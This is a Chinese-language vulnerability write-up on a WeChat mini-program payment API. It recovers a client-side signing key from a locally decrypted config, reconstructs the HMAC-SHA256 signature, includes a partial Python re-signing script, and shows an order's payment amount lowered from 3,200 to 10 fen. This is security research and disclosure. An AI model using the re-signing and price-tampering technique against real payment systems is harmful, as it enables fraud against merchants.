0x01 简介这次分析的目标是一个聚合了洗车、券包等能力的小程序支付链路。最初的切入点并不是“直接看到金额可改”而是顺着一个更基础的问题往下挖发往核心支付接口的签名到底是服务端私有能力还是客户端本地就能复现很多时候业务接口表面上看似“有签名保护”实战中真正决定漏洞上限的恰恰是这个签名能力归谁所有。如果签名只能由服务端私钥生成那么前端即使把金额字段明文提交出来也不一定能构成真正可利用的逻辑漏洞但如果签名本身就在客户端本地完成而且密钥还能被恢复出来那整个问题的性质就完全变了。本篇文章记录的就是一次从客户端加密配置入手逐步恢复本地配置、还原签名算法、伪造合法请求最后验证到真实业务订单付款阶段可被改价的完整过程。本文仅用于技术学习与合规交流严禁非法滥用。因违规使用产生的一切后果由使用者自行承担与作者无关。现在只对常读和星标的才展示大图推送建议大家把渗透安全HackTwo“设为星标”否则可能就看不到了啦末尾可领取挖洞资料/加圈子 #渗透安全HackTwo0x02 正文详情从可疑接口开始在这个小程序里多个业务最终都会落到统一的支付拉起如下接口POST /xxx/xxx/get-wx-payurl从抓包结果看这个接口的请求体里直接带了大量高价值字段{vaMchntNo: ...,vaTermNo: ...,totalAmount: 3200,notifyUrl: https://.../xxxxxStartWashCar,mchntOrderId: ...,subOpenId: ...,subAppId: ...,instMid: xxx,tradeType: xxxxxxx,msgType: wx.unifiedOrder,loginToken: ...}这类接口第一眼很容易让人怀疑“金额是不是客户端直传”但这里不能急着下结论。因为只要Authorization无法伪造就算看得到这些参数也未必能成功构造有效请求。所以真正的第一步不是直接改金额而是回答下面这个问题这个请求的签名能力到底掌握在谁手里逆向入口签名函数并不在服务端对源码做静态分析后支付请求最终走到一个统一请求封装模块。继续往里追可以看到请求头中的Authorization并不是服务端返回而是客户端本地调用签名函数生成的Authorization getAuthorization(body, appId, appKey, post)这已经说明一个很关键的事实签名不是“服务器下发一次性签名”也不是“客户端拿 token 去换临时签名”而是客户端本地直接计算这时候再问两个问题appId从哪里来appKey从哪里来如果这两个值来自安全硬件、服务端临时下发、或运行时不可导出存储那么问题还没完全成立但如果这两个值只是本地配置那么整个签名保护就会被直接击穿。配置不明文但仍然在客户端本地源码里没有直接把配置明文摆出来而是用了一个典型的“本地密文配置 本地固定密钥解密”的做法。对应逻辑大致可以抽象成这样const encryptedConfig CONFIG.dataconst aesKey 固定字符串const plain AES_ECB_Decrypt(encryptedConfig, aesKey)const runtimeConfig JSON.parse(plain)这一步的意义很重要。它说明配置虽然不是明文写死但依然满足两个条件密文在客户端本地解密密钥也在客户端本地因此只要拿到小程序包就能离线恢复出运行时配置。恢复后的配置中至少包含了这些关键字段appIdappKeywxAppId若干业务回调地址出于安全和脱敏考虑这里不在文章中展示完整值只保留形态说明appId 8a81...0990appKey b8a3...30e5到这里为止签名能力已经从“理论可能”推进到了“可被客户端离线恢复”。签名算法还原不是障眼法而是标准 HMAC继续分析签名函数后可以把它抽象成下面这套流程将请求体序列化为紧凑 JSON对请求体做SHA256拼接appId timestamp nonce bodyHash对拼接结果做HMAC-SHA256(appKey, raw)最终再进行 Base64 编码伪代码如下body_json json.dumps(body, separators(,, :))body_hash sha256(body_json).hexdigest()raw appId timestamp nonce body_hashsignature base64(hmac_sha256(appKey, raw))这一点非常关键因为它把漏洞链从“看见字段”变成了“能够稳定重签并发包”。也就是说从这一刻开始攻击者已经不再依赖官方小程序也不再依赖服务端额外发放签名。直接开始复现编写用脚本重签再回填到 Repeater。使用脚本sign_get_wx_payurl.py先把修改后的完整 JSON 保存成body.json#部分代码参考 def canonical_json(data: Dict[str, Any]) - str: return json.dumps(data, ensure_asciiFalse, separators(,, :)) def now_timestamp() - str: return dt.datetime.now().strftime(%Y%m%d%H%M%S) def random_nonce() - str: return str(random.randint(10**9, 10**10 - 1)) def build_signature(body: Dict[str, Any], timestamp: str, nonce: str) - str: body_json canonical_json(body) body_hash hashlib.sha256(body_json.encode(utf-8)).hexdigest() raw f{APP_ID}{timestamp}{nonce}{body_hash}.encode(utf-8) return base64.b64encode(hmac.new(APP_KEY.encode(utf-8), raw, hashlib.sha256).digest()).decode(ascii) python sign_get_wx_payurl.py --body-file body.json脚本会输出AuthorizationContent-Length标准化后的Body把这三项替换回 Burp Repeater 再发包即可。直接篡改金额真实 32 元业务订单付款阶段改成 1 角第一步先创建真实业务订单选择低风险业务链路重新调用下单接口生成一笔真实订单。这里以洗车订单为例业务原始金额是32 元下单接口成功返回outer_order_numberpayAmount 32对应业务回调地址这说明前置订单是真实存在的而不是伪造构造物。第二步在付款阶段改价接着调用get-wx-payurl但不按正常逻辑提交3200分而是手工改成​​​​​​​totalAmount 10结果服务端仍然返回- respCode 0000- totalAmount 10- 新的 miniPayRequest这个漏洞的原理这个问题的危险性不在于它只是一处“前端把金额放进请求体”而在于它同时满足了三层条件签名边界失效不需要官方客户端不需要服务端私钥也不需要中间人条件就可以本地生成合法Authorization。业务订单绑定失效支付接口没有强制要求mchntOrderId必须来自某个已校验完成的前置订单。金额绑定失效即便是已经创建好的真实业务订单付款阶段仍然可以把金额改成攻击者指定值。这三点叠加后漏洞已经不是“支付风险”而是完整的支付完整性缺陷。0x03 总结这次挖掘最值得记录的不只是最后把金额改成了 1而是整个问题是怎么一步一步被确认的。一开始看到的是支付接口里有明文金额字段但这还不能直接等价于可利用漏洞漏洞危害关键在于先确认签名是客户端本地可复现的再确认新订单号可以独立生成支付会话最后再把验证推进到真实业务订单付款阶段。这也是我一直以来的一个挖掘思路不要看到“前端直传金额”就急着报漏洞先看签名边界再看订单绑定再看金额绑定最后再决定漏洞定性。最后愿各位师傅在后续挖洞之路中精准定位漏洞、高效挖掘天天出高危、次次有收获挖洞顺利、不踩坑、多拿奖励共同提升支付业务安全测试能力喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢